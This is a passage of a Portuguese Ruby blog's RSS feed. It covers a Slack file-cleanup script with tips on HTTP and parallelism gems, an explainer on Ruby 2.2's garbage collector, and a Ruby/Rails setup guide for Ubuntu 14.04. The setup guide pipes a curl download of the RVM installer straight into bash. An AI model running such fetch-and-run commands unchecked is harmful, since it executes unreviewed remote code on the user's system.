</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">files_ids</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">errors</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl"><span class="no">Parallel</span><span class="o">.</span><span class="n">each</span><span class="p">(</span><span class="n">responses</span><span class="p">,</span> <span class="ss">in_threads</span><span class="p">:</span> <span class="mi">10</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">response</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="k">begin</span>
</span></span><span class="line"><span class="cl">    <span class="n">json</span> <span class="o">=</span> <span class="no">Oj</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">body</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Parallel</span><span class="o">.</span><span class="n">each</span><span class="p">(</span><span class="n">json</span><span class="o">[</span><span class="s2">&#34;files&#34;</span><span class="o">]</span><span class="p">,</span> <span class="ss">in_threads</span><span class="p">:</span> <span class="mi">10</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">files_ids</span> <span class="o">&lt;&lt;</span> <span class="n">file</span><span class="o">[</span><span class="s2">&#34;id&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">rescue</span> <span class="o">=&gt;</span> <span class="n">e</span>
</span></span><span class="line"><span class="cl">    <span class="n">errors</span> <span class="o">&lt;&lt;</span> <span class="n">e</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">uri_delete</span> <span class="o">=</span> <span class="s2">&#34;https://slack.com/api/files.delete?token=%s&amp;file=%s&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">in_parallel</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">files_ids</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">file_id</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">responses</span> <span class="o">&lt;&lt;</span> <span class="n">conn</span><span class="o">.</span><span class="n">get</span><span class="p">(</span> <span class="n">uri_delete</span> <span class="o">%</span> <span class="o">[</span><span class="n">api_token</span><span class="p">,</span> <span class="n">file_id</span><span class="o">]</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">responses</span><span class="o">.</span><span class="n">map</span> <span class="k">do</span> <span class="o">|</span><span class="n">response</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="no">Oj</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">body</span><span class="p">)</span><span class="o">[</span><span class="s2">&#34;ok&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Dica 1<span class="hx:absolute hx:-mt-20" id="dica-1"></span>
    <a href="#dica-1" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Mesmo em pequenos scripts, use <a href="http://bundler.io/bundler_setup.html"target="_blank" rel="noopener">Bundler</a>!</p>
<h3>Dica 2<span class="hx:absolute hx:-mt-20" id="dica-2"></span>
    <a href="#dica-2" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Para acessar páginas Web, use a gem <a href="https://github.com/lostisland/faraday"target="_blank" rel="noopener">&ldquo;Faraday&rdquo;</a> junto com a gem <a href="https://github.com/typhoeus/typhoeus"target="_blank" rel="noopener">&ldquo;Typhoeus&rdquo;</a>.</p>
<p>Por que Faraday?</p>
<p>Porque ela abstrai diversos clientes HTTP. Você pode mudar entre Net::HTTP ou Excon ou Typhoeus com mínimo esforço e pode ser útil para diferenciar cenários de produção com um adapter e testes com outro adapter, por exemplo.</p>
<p>Por que Typhoeus?</p>
<p>Porque ela é capaz de realizar diversas requisições em paralelo e o que mais queremos num crawler é paralelizar o máximo possível (vide linhas 25..29 e 45..48 para exemplos). O único cuidado é não puxar coisa demais e estourar o acumulador de retornos (no exemplo, o array <tt>responses</tt>).</p>
<p>Para evitar estourar memória em vez de acumular internamente num array como no exemplo, já use a gem &ldquo;Dalli&rdquo; e vá acumulando num Memcached ou acumule num Redis ou MongoDB ou qualquer outro sistema de armazenamento que suporte inserções assíncronas (não bloqueantes, como um RDBMS normal).</p>
<h3>Dica 3<span class="hx:absolute hx:-mt-20" id="dica-3"></span>
    <a href="#dica-3" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se estiver recebendo respostas JSON, use um parser rápido como a gem <a href="https://github.com/ohler55/oj"target="_blank" rel="noopener">&ldquo;Oj&rdquo;</a>. Em conjunto com a gem <a href="https://github.com/ohler55/oj_mimic_json"target="_blank" rel="noopener">&ldquo;oj_mimic_json&rdquo;</a> - que você deve colocar junto na Gemfile se for um projeto Rails - ela substitui a padrão gem JSON que o ActiveSupport usa. A Oj é de 2 a 4 vezes mais rápido do que a gem JSON por isso vale a pena usá-la. Claro, ela é rápida assim porque possui uma extension feita em C, ou seja não funciona com JRuby, apenas com MRI.</p>
<h3>Dica 4<span class="hx:absolute hx:-mt-20" id="dica-4"></span>
    <a href="#dica-4" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Uma vez que recebemos dezenas de respostas, queremos processá-las o mais rápido possível e fazer um mesmo <tt>responses.each { |response| &hellip; }</tt> é lento porque é linear.</p>
<p>Para resolver isso podemos recorrer à gem <a href="https://github.com/grosser/parallel"target="_blank" rel="noopener">&ldquo;Parallel&rdquo;</a> (vide exemplos nas linhas 33..42). Ela vai iterar pela coleção paralelamente usando threads.</p>
<p>Em Ruby MRI, lembrar que temos o Global Interpreter Lock (GIL) que bloqueia a execução paralela porque a mudança de estados em código C sem mutexes e outras proteções poderia corromper a execução. Então não precisamos nos preocupar com estado global compartilhado sendo alterado em paralelo por múltiplas threads mas por outro lado não temos multithreading real o tempo todo.</p>
<p>Mas temos como usar threads em operações bloqueantes, I/O bound, ou que tem muita espera (operações com arquivos ou rede). Nesse caso, quando uma thread bloquear esperando a resposta de algum I/O, outra thread pode de fato executar em paralelo. E daí o valor de usar threads no caso de crawlers ou scripts que façam import/export em banco de dados, etc.</p>
<p>Para o caso de I/O bound, usar threads. Mas se o caso for algo CPU-bound, de processamento de dados, cálculos, mais pesados, threads não vão ajudar. Para isso em vez da opção <tt>:in_threads</tt> você usa a opção <tt>:in_processes</tt> que vai fazer um <tt>fork()</tt> do seu processo e vai rodar realmente em paralelo em processos independentes e isolados, sem estado compartilhado.</p>
<p>Como desde o Ruby 2.0 ele suporta <a href="https://blog.engineyard.com/2013/ruby-2-0-under-the-hood#copy-on-write"target="_blank" rel="noopener">&ldquo;Copy on Write&rdquo;</a> (ou &ldquo;COW&rdquo;) de tal forma que mesmo duplicando um processo Ruby, ele não vai duplicar a memória, eles vão compartilhar a memória que não muda e cada processo isola somente a memória que ele mudar. Isso torna rodar processos em paralelo não tão caros em termos de consumo de memória e muito mais fáceis de escrever (sem precisar se preocupar com mutexes e semáforos, já que tudo rodará garantidamente isolado).</p>
<p>Ou seja, para casos justamente como um crawler ou um ETL, a gem &ldquo;Parallel&rdquo; pode ser uma mão na roda. Mas sempre meça para saber se as coisas estão realmente paralelas ou se você não está bloqueando suas threads e caindo no caso de execução linear sem saber.</p>
]]></content:encoded><category>ruby</category><category>performance</category><category>programacao</category></item><item><title>[Small Bites] Novidades no Garbage Collector do Ruby 2.2.1</title><link>https://akitaonrails.github.io/2015/03/27/small-bites-novidades-no-garbage-collector-do-ruby-2-2-1/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/03/27/small-bites-novidades-no-garbage-collector-do-ruby-2-2-1/</guid><pubDate>Fri, 27 Mar 2015 13:06:00 -0300</pubDate><description>&lt;p&gt;O Koichi Sasada &lt;a href="http://www.atdot.net/~ko1/activities/2015_rubyconfph_pub.pdf"target="_blank" rel="noopener"&gt;palestrou recentemente&lt;/a&gt; no evento RubyconfPH sobre as melhorias no garbage collector.&lt;/p&gt;
&lt;p&gt;Na prática: o Ruby 2.2.1 tem agora garbage collector com 4 gerações (2 jovens, 1 velho, 1 survival). Na versão 2.1 eram somente 2 gerações (nova e velha, onde objetos novos eram promovidos pra velhos se sobrevivessem a um fase de marking do GC, mas isso levava objetos a serem promovidos prematuramente, usando mais memória do que deveria).&lt;/p&gt;</description><content:encoded><![CDATA[<p>O Koichi Sasada <a href="http://www.atdot.net/~ko1/activities/2015_rubyconfph_pub.pdf"target="_blank" rel="noopener">palestrou recentemente</a> no evento RubyconfPH sobre as melhorias no garbage collector.</p>
<p>Na prática: o Ruby 2.2.1 tem agora garbage collector com 4 gerações (2 jovens, 1 velho, 1 survival). Na versão 2.1 eram somente 2 gerações (nova e velha, onde objetos novos eram promovidos pra velhos se sobrevivessem a um fase de marking do GC, mas isso levava objetos a serem promovidos prematuramente, usando mais memória do que deveria).</p>
<p>Quem assistiu minha palestra no QConSP ano passado aprendeu em mais detalhes sobre a evolução do garbage collector. Se não assistiu <a href="http://www.infoq.com/br/presentations/entendendo-garbage-collector-ruby"target="_blank" rel="noopener">veja a gravação</a>. Recapitulando:</p>
<ul>
<li>Ruby sempre teve GC Mark &amp; Sweep (uma grande pausa de marcação de objetos - Marking - e outra grande fase de limpeza - Sweep).</li>
<li>No Ruby 1.9.3 a fase Sweep virou <a href="http://patshaughnessy.net/2012/3/23/why-you-should-be-excited-about-garbage-collection-in-ruby-2-0"target="_blank" rel="noopener">Lazy Sweep</a> (dividida em pequenos sweeps em vez de 1 grande de uma vez).</li>
<li>No Ruby 2.0.0 a fase Marking ganhou bitmap marking (pra facilitar copy-on-write).</li>
<li>No Ruby 2.1 a fase Marking foi dividida em Major GC e Minor GC com as 2 gerações do <a href="http://tmm1.net/ruby21-rgengc/"target="_blank" rel="noopener">RGenGC</a> (Restricted Generational GC).</li>
<li>No Ruby 2.2. o Major GC foi fatiado em Minors com múltiplas gerações young e agora é incremental, baseado no algoritmo de Tri-Color Marking (marcações em etapas de white, grey e black). Por isso o &ldquo;Incremental&rdquo; do nome RIncGC. Então Ruby 2.2 é RGenGC + RIncGC.</li>
</ul>
<p>Então com Tri-Color Bitmap Marking e Lazy Sweep as longas pausas &ldquo;Stop the World&rdquo; do GC foram reduzidas ao mínimo.</p>
<p>De curiosidade, 2 dos principais aspectos limitantes do Ruby MRI é que ele expõe suas estruturas de dados às extensions em C, que tem acesso direto ao endereço de memória deles. Isso significa boa performance e baixa flexibilidade, porque não podemos mover essas estruturas de lugar sem quebrar vários ponteiros. Por isso não podemos implementar um Copying Garbage Collector, que evitaria fragmentação, e que move objetos de uma geração para outra.</p>
<p>A vantagem de um Copying Collector é que sabemos exatamente que conjunto de objetos está numa geração ou em outra fisicamente. A desvantagem é a operação de copiar objetos. A vantagem dos objetos do Ruby é que por terem estrutura de tamanho fixo, elas não fragmentam tanto e por serem estáticos não gastam tempo de cópia. No final o que se move no GC do Ruby são bits em mapas (bitmap &ldquo;rememberset&rdquo; para objetos desprotegidos, bitmap para objetos marcados, etc).</p>
<p>Objetos no Ruby, portanto, precisam ser &ldquo;protegidos&rdquo; por uma barreira de escrita, ou Write Barrier. Um array, por exemplo, pode ser promovido pra geração velha e o GC raramente vai passar por ele. Mas um novo objeto pode ser inserido nesse array e ficar na geração nova. Nesse caso, o Write Barrier vai notificar o GC para passar por esse Array novamente. Daí o conceito de &ldquo;WB protected&rdquo; e &ldquo;WB unprotected&rdquo; que você vai ver nas palestras do Koichi.</p>
<p>Objetos desprotegidos tecnicamente não podem ir pra geração antiga pois o GC precisa passar por ele o tempo todo. Objetos protegidos novos vão subindo de geração (menos ciclos de Minor GC passam por ele). Daí sempre vai ter poucos objetos novos para serem vasculhados na fase de Minor GC (a grande maioria dos objetos acabam indo pra gerações velhas e não gastam mais tanto tempo do GC, esse é o conceito).</p>
<p>E o &ldquo;Incremental&rdquo; de RIncGC é porque ele usa o algoritmo de <a href="http://en.wikipedia.org/wiki/Tracing_garbage_collection"target="_blank" rel="noopener">Tricolor Marking</a> para particionar o Major GC em Minor GCs. Pra isso ele começa assumindo todos os objetos como brancos. Objetos que tem raízes mas não foram avaliadas são &ldquo;cinza&rdquo; e objetos que sabemos que não referenciam ninguém, são &ldquo;pretos&rdquo;, candidados às fases de Sweep. Leia o link da Wikipedia pra entender corretamente como isso funciona.</p>
<p>O &ldquo;Restricted&rdquo; em RGenGC é justamente porque ele não pode mover qualquer objeto (desprotegidos) e o &ldquo;Restricted&rdquo; no RIncGC é porque apesar de diminuir as longas pausas do Major GC, ele ainda pode variar dependendo da quantidade de objetos desprotegidos.</p>
<p>Significa que o Ruby 2.2 usa mais memória que o 2.1 ou 2.0 (pelo que vi, pelo menos na faixa de 30% ou mais por processo) mas o tempo de resposta é mais rápido (porque tem muito menos fases de Major GCs) e mais previsível (sem picos de pausa longa periodicamente). Vale muito a pena migrar, testar suas aplicações e monitorar (liguem seus New Relic). Vejam a diferença:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/486/big_ruby2.1.jpg" alt="Ruby 2.1.5"  loading="lazy" /></p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/487/big_ruby2.2.jpg" alt="Ruby 2.2.1"  loading="lazy" /></p>
<p>A partir de agora o Ruby 2.x tem diversas variáveis de tuning (quantidade de heaps, proporção do espaço da geração velha vs a nova, etc). Se não sabe pra que serve, não mexa neles. Um serviço que ainda está em teste diz conseguir monitorar sua aplicação em produção e lhe dar recomendações de tuning, ela se chama <a href="https://tunemygc.com"target="_blank" rel="noopener">TuneMyGC</a>, dê uma olhada.</p>
<p>O próximo passo é avaliar os diferentes perfis de tuning e a consequência pode ser algo que no mundo Java se chama <a href="http://docs.oracle.com/javase/7/docs/technotes/guides/vm/gc-ergonomics.html"target="_blank" rel="noopener">Ergonomics</a> onde o GC começa a avaliar os dados enquanto é executado para se auto-tunar e ir reajustando conforme o perfil. Auto-tuning seria a melhor feature pra vir na próxima versão do Ruby MRI.</p>
<p>O assunto é extenso e um pequeno artigo não dá conta de explicar tudo. Assista minha palestra do ano passado e mande perguntas nos comentários para expandirmos a explicação.</p>
]]></content:encoded><category>ruby</category><category>performance</category><category>linguagens-de-programacao</category></item><item><title>Ruby e Rails no Ubuntu 14.04 LTS Trusty Tahr</title><link>https://akitaonrails.github.io/2015/01/28/ruby-e-rails-no-ubuntu-14-04-lts-trusty-tahr/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/01/28/ruby-e-rails-no-ubuntu-14-04-lts-trusty-tahr/</guid><pubDate>Wed, 28 Jan 2015 17:04:00 -0200</pubDate><description>&lt;p&gt;Quase 2 anos atrás fiz um artigo que teve muitos leitores sobre &lt;a href="http://www.akitaonrails.com/2012/08/13/ruby-e-rails-no-ubuntu-12-04-lts-precise-pangolin"target="_blank" rel="noopener"&gt;instalar Ruby no Ubuntu 12.04 LTS&lt;/a&gt;. Inclusive era o que eu estava usando até agora como ambiente de desenvolvimento no Vagrant. O bom é que dá pra desenvolver tudo sem problema algum nesse ambiente e é bem estável, mas resolvi atualizar o mesmo artigo para instalar no último Long Term Support do Ubuntu, o &lt;a href="http://releases.ubuntu.com/14.04/"target="_blank" rel="noopener"&gt;14.04 LTS Trusty Tahr&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para VPS pequenos, eu particularmente não me incomodo de usar RVM em single-user mode com Nginx+Passenger. Em particular eu instalo esse ambiente num Vagrant, então se for esse o caso, depois de &lt;a href="https://www.vagrantup.com/downloads.html"target="_blank" rel="noopener"&gt;instalar o Vagrant&lt;/a&gt;, faça assim:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quase 2 anos atrás fiz um artigo que teve muitos leitores sobre <a href="http://www.akitaonrails.com/2012/08/13/ruby-e-rails-no-ubuntu-12-04-lts-precise-pangolin"target="_blank" rel="noopener">instalar Ruby no Ubuntu 12.04 LTS</a>. Inclusive era o que eu estava usando até agora como ambiente de desenvolvimento no Vagrant. O bom é que dá pra desenvolver tudo sem problema algum nesse ambiente e é bem estável, mas resolvi atualizar o mesmo artigo para instalar no último Long Term Support do Ubuntu, o <a href="http://releases.ubuntu.com/14.04/"target="_blank" rel="noopener">14.04 LTS Trusty Tahr</a>.</p>
<p>Para VPS pequenos, eu particularmente não me incomodo de usar RVM em single-user mode com Nginx+Passenger. Em particular eu instalo esse ambiente num Vagrant, então se for esse o caso, depois de <a href="https://www.vagrantup.com/downloads.html"target="_blank" rel="noopener">instalar o Vagrant</a>, faça assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>vagrant init phusion/ubuntu-14.04-amd64
vagrant up
vagrant ssh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso deve instalar o Ubuntu 14.04. Veja a documentação para configurar o que você precisa. Em particular, no meu caso, antes de dar <tt>vagrant up</tt> eu edito o <tt>Vagrantfile</tt> pra ter o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># -*- mode: ruby -*-</span>
</span></span><span class="line"><span class="cl"><span class="c1"># vi: set ft=ruby :</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="no">Vagrant</span><span class="o">.</span><span class="n">configure</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">config</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">box</span> <span class="o">=</span> <span class="s2">&#34;phusion/ubuntu-14.04-amd64&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">synced_folder</span> <span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="s2">&#34;/vagrant&#34;</span><span class="p">,</span> <span class="ss">:nfs</span> <span class="o">=&gt;</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">network</span> <span class="ss">:forwarded_port</span><span class="p">,</span> <span class="ss">guest</span><span class="p">:</span> <span class="mi">80</span><span class="p">,</span> <span class="ss">host</span><span class="p">:</span> <span class="mi">8080</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">network</span> <span class="ss">:forwarded_port</span><span class="p">,</span> <span class="ss">guest</span><span class="p">:</span> <span class="mi">3000</span><span class="p">,</span> <span class="ss">host</span><span class="p">:</span> <span class="mi">3000</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">network</span> <span class="ss">:forwarded_port</span><span class="p">,</span> <span class="ss">guest</span><span class="p">:</span> <span class="mi">3001</span><span class="p">,</span> <span class="ss">host</span><span class="p">:</span> <span class="mi">3001</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">network</span> <span class="ss">:forwarded_port</span><span class="p">,</span> <span class="ss">guest</span><span class="p">:</span> <span class="mi">3790</span><span class="p">,</span> <span class="ss">host</span><span class="p">:</span> <span class="mi">3790</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">network</span> <span class="ss">:private_network</span><span class="p">,</span> <span class="ss">ip</span><span class="p">:</span> <span class="s2">&#34;10.0.0.100&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">vm</span><span class="o">.</span><span class="n">provider</span> <span class="ss">:vmware_fusion</span> <span class="k">do</span> <span class="o">|</span><span class="n">v</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">v</span><span class="o">.</span><span class="n">vmx</span><span class="o">[</span><span class="s2">&#34;memsize&#34;</span><span class="o">]</span> <span class="o">=</span> <span class="s2">&#34;1024&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Eu uso o <a href="https://www.vagrantup.com/vmware"target="_blank" rel="noopener">plugin de VMWare Fusion</a> (que é ordens de grandeza mais estável e performático que o Virtualbox). Mas qualquer um funciona bem o suficiente pra desenvolver.</p>
<p>Depois de fazer <tt>vagrant ssh</tt> você vai estar dentro do Ubuntu já e a partir daí siga o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install curl build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev libgmp-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>São os pacotes básicos que você sempre vai precisar. Feito isso, eu gosto de instalar o RVM mesmo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>curl -L https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O próximo passo é instalar pacotes que o RVM precisa para instalar novos Rubies. O próprio RVM toma conta disso fazendo o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>rvm requirements</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso já é suficiente para instalar o Ruby, para ver a lista de Rubies disponiveis basta executar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>rvm list known # para ver todos os rubies disponíveis
rvm install 2.2.0 # para instalar o mais recente até a data deste artigo</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso já é suficiente para instalarmos o Rails mais recente e iniciar a programar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>gem install rails</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Não deixe de configurar o locale do seu sistema para UTF-8. Inicie adicionando as seguintes linhas ao seu <tt>/etc/bash.bashrc</tt>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>export LANGUAGE=en_US.UTF-8
export LANG=en_US.UTF-8
